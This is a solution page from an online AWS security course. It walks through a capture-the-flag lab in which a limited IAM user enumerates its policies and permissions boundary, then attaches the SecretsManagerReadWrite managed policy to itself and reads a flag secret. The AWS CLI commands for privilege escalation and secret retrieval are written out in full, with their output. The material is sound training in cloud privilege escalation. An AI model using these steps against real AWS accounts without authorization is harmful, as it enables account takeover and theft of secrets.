Back to Course

IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What's next?
Lesson 21 of 35
In Progress

iam:AttachUserPolicy Solution

Christophe December 16, 2023

This lab doesn’t return a username so we need to know who we’re dealing with:

aws sts get-caller-identity

{
    "UserId": "AIDA5M7PA4Z5ZDYNB7RPL",
    "Account": "921234892411",
    "Arn": "arn:aws:iam::921234892411:user/iam-attachuserpolicy-privesc-1702837863157-SeniorDev"
}

Code language: JavaScript (javascript)

Now that we have our username, we’re ready to do some further enumeration:

aws iam get-user --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev

{
    "User": {
        "Path": "/",
        "UserName": "iam-attachuserpolicy-privesc-1702837863157-SeniorDev",
        "UserId": "AIDA5M7PA4Z5ZDYNB7RPL",
        "Arn": "arn:aws:iam::921234892411:user/iam-attachuserpolicy-privesc-1702837863157-SeniorDev",
        "CreateDate": "2023-12-17T18:31:25+00:00",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::921234892411:policy/BoundaryPolicy"
        },
        "Tags": [
            {
                "Key": "cybr-lab",
                "Value": "auto-deployed"
            }
        ]
    }
}

Code language: JavaScript (javascript)

This command is important to run, because it’s one of the few commands that will return whether this user has any assigned permission boundaries or not.

As we can see, this user does have a permission boundary applied. Let’s try to get more information about this boundary.

aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/BoundaryPolicy
{
    "Policy": {
        "PolicyName": "BoundaryPolicy",
        "PolicyId": "ANPA5M7PA4Z5TU6CPGILZ",
        "Arn": "arn:aws:iam::921234892411:policy/BoundaryPolicy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 0,
        "PermissionsBoundaryUsageCount": 1,
        "IsAttachable": true,
        "Description": "Managed policy to act as a permission boundary.",
        "CreateDate": "2023-12-17T18:31:06+00:00",
        "UpdateDate": "2023-12-17T18:31:06+00:00",
        "Tags": []
    }
}

Code language: JavaScript (javascript)

From a prior lab, we know that we can then retrieve the v1 policy:

aws iam get-policy-version --policy-arn arn:aws:iam::921234892411:policy/BoundaryPolicy --version-id v1

An error occurred (AccessDenied) when calling the GetPolicyVersion operation: User: arn:aws:iam::921234892411:user/iam-attachuserpolicy-privesc-1702837863157-SeniorDev is not authorized to perform: iam:GetPolicyVersion on resource: policy arn:aws:iam::921234892411:policy/BoundaryPolicy version v1 because no permissions boundary allows the iam:GetPolicyVersion action

Code language: JavaScript (javascript)

Unfortunately, we don’t have access to view the restrictions from this boundary. That’s ok, let’s move on.

Let’s try to enumerate what permissions we do have.

aws iam list-user-policies --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev

{
    "PolicyNames": [
        "iam-attachuserpolicy-privesc-1702837863157-senior-manager"
    ]
}

Code language: PHP (php)

Now retrieve the policy document itself:

aws iam get-user-policy --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev --policy-name iam-attachuserpolicy-privesc-1702837863157-senior-manager
{
    "UserName": "iam-attachuserpolicy-privesc-1702837863157-SeniorDev",
    "PolicyName": "iam-attachuserpolicy-privesc-1702837863157-senior-manager",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:AttachUserPolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:user/*"
                ],
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

We see one allowed action:

"Action": [
   "iam:AttachUserPolicy"
],

Code language: JavaScript (javascript)

And it’s set for the resource:

"Resource": [
    "arn:aws:iam::921234892411:user/*"
],

Code language: JavaScript (javascript)

This is a very broad resource set, since it’s essentially granting access to AttachUserPolicy on all users within this AWS account! That includes your own user.

The beauty and danger of AttachUserPolicy is that it was designed to attach managed policies. That’s a lot of potential policies, some of which grant admin-level permissions! (Source).

Before we do anything with that though, let’s continue enumerating the rest of our permissions.

This tells us we have an inline policy for this specific user, but given that we’ve been running all sorts of other commands not listed there, we’re clearly getting permissions from somewhere else.

Just like with other labs (and following best practices), it probably means we are getting permissions from a group.

aws iam list-groups-for-user --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev

{
    "Groups": [
        {
            "Path": "/division_it/product_cheeta/engineering/development/",
            "GroupName": "iam-attachuserpolicy-privesc-1702837863157-Developers",
            "GroupId": "AGPA5M7PA4Z54AQRGRDRP",
            "Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/development/iam-attachuserpolicy-privesc-1702837863157-Developers",
            "CreateDate": "2023-12-17T18:31:08+00:00"
        }
    ]
}

Code language: PHP (php)

Now let’s list policies for this group:

aws iam list-group-policies --group-name iam-attachuserpolicy-privesc-1702837863157-Developers

{
    "PolicyNames": [
        "iam-attachuserpolicy-privesc-1702837863157-developers"
    ]
}

Code language: PHP (php)
aws iam get-group-policy --group-name iam-attachuserpolicy-privesc-1702837863157-Developers --policy-name iam-attachuserpolicy-privesc-1702837863157-developers

{
    "GroupName": "iam-attachuserpolicy-privesc-1702837863157-Developers",
    "PolicyName": "iam-attachuserpolicy-privesc-1702837863157-developers",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:ListGroupPolicies",
                    "iam:ListPolicies",
                    "iam:ListPolicyVersions",
                    "iam:ListUsers",
                    "iam:ListGroups",
                    "iam:ListGroupsForUser",
                    "iam:GetPolicy",
                    "iam:GetUser",
                    "iam:GetUserPolicy",
                    "iam:GetGroupPolicy",
                    "iam:ListUserPolicies"
                ],
                "Resource": "*",
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Ok so nothing earth shattering in this group policy, but it’s always still a good idea to enumerate as much as we can unless we’re trying to remain stealthy.

Going back to what we were saying earlier, we know we have access to AttachUserPolicy. How can we use that for PrivEsc?

If we pull up the AWS documentation: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-user-policy.html we’ll see that we can type:

aws iam attach-user-policy
--user-name <value>
--policy-arn <value>

Code language: HTML, XML (xml)

The --user-name will be the username we want to attach the policy to, which in this case would be our very own user.

aws iam attach-user-policy --user-name attachuserpolicy-SeniorDev --policy-arn <value>

Code language: HTML, XML (xml)

But what about the --policy-arn?

We can try to take out the bazooka and give ourselves admin access with the managed policy AdministratorAccess and see what happens. If we go back to the AWS documentation and pull up that managed policy, we can find the ARN:

arn:aws:iam::aws:policy/AdministratorAccess

Code language: PHP (php)

Let’s issue our command:

aws iam attach-user-policy --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

An error occurred (AccessDenied) when calling the AttachUserPolicy operation: User: arn:aws:iam::921234892411:user/iam-attachuserpolicy-privesc-1702837863157-SeniorDev is not authorized to perform: iam:AttachUserPolicy on resource: user iam-attachuserpolicy-privesc-1702837863157-SeniorDev because no permissions boundary allows the iam:AttachUserPolicy action

Code language: PHP (php)

We get an access denied even though we didn’t see any restrictions in the policy. It’s gotta be a restriction coming from the boundary policy that we couldn’t get a good look at earlier.

We’re either out of luck or it might only be restricting certain managed policies. Let’s try a few more.

Let’s try some S3 ones, like AmazonS3FullAccess

arn:aws:iam::aws:policy/AmazonS3FullAccess
Code language: PHP (php)
aws iam attach-user-policy --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

An error occurred (AccessDenied) when calling the AttachUserPolicy operation: User: arn:aws:iam::921234892411:user/iam-attachuserpolicy-privesc-1702837863157-SeniorDev is not authorized to perform: iam:AttachUserPolicy on resource: user iam-attachuserpolicy-privesc-1702837863157-SeniorDev because no permissions boundary allows the iam:AttachUserPolicy action

Code language: PHP (php)

Let’s instead try SecretsManagerReadWrite:

arn:aws:iam::aws:policy/SecretsManagerReadWrite
Code language: PHP (php)
aws iam attach-user-policy --user-name iam-attachuserpolicy-privesc-1702837863157-SeniorDev --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite

Code language: PHP (php)

There’s no output back! That’s a really good sign as you probably know by now!

Let’s verify if it worked or not:

aws iam list-attached-user-policies --user-name  attachuserpolicy-SeniorDev

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::272281913033:user/attachuserpolicy-SeniorDev is not authorized to perform: iam:ListAttachedUserPolicies on resource: user attachuserpolicy-SeniorDev because no permissions boundary allows the iam:ListAttachedUserPolicies action

Code language: PHP (php)

Our user doesn’t have ListAttachedUserPolicies permissions, so we can’t verify that way. We could try a couple of other approaches, like trying to list secrets in Secrets Manager.

aws secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-attachuserpolicy-privesc-1702837863157-final_flag-AJG9ix",
            "Name": "iam-attachuserpolicy-privesc-1702837863157-final_flag",
            "Description": "Secret containing a flag",
            "LastChangedDate": "2023-12-17T11:31:06.827000-07:00"
...REDACTED...

Code language: PHP (php)

That worked! We definitely did not have SecretsManager access at the beginning of the lab, so we’ve successfully attached the managed policy SecretsManagerReadWrite to our user.

Let’s capture the flag!

aws secretsmanager get-secret-value --secret-id <REDACTED>-final_flag

{
    "ARN": "arn:aws:secretsmanager:us-east-1:272<REDACTED>-final_flag-UIKXY8",
    "Name": "attachuserpolicy-final_flag",
    "VersionId": "6680b520-4997-6cf6-9eb8-44c96e5acbb7",
    "SecretString": "{\\"vault-password\\": \\"REDACTED\\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-12-14T15:23:11.506000-07:00"
}
...

Code language: JavaScript (javascript)

Congrats!

Conclusion notes

Just a couple more things to wrap up:

This lab didn’t give us nearly as much visibility as some of the prior labs, and that’s on purpose. The next labs are going to provide less and less visibility to prepare you for the final challenges. This is to design real-world situations and scenarios in AWS environments designed to keep people out. They may have gotten policies 90% right, but the remaining 10% can still be exploited, even if with less-than-perfect visibility.

Also, sometimes, like when we were trying to attach different managed policies, we’ll get back AccessDenied errors that make it look like IAM is correctly configured…but that’s because many of AWS’ error messages (especially those around security) are purposefully designed to be vague so as to not give away too much information to a potential attacker.

Anyway, keep all of this in mind as you progress through the course! See you in the next lab.

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.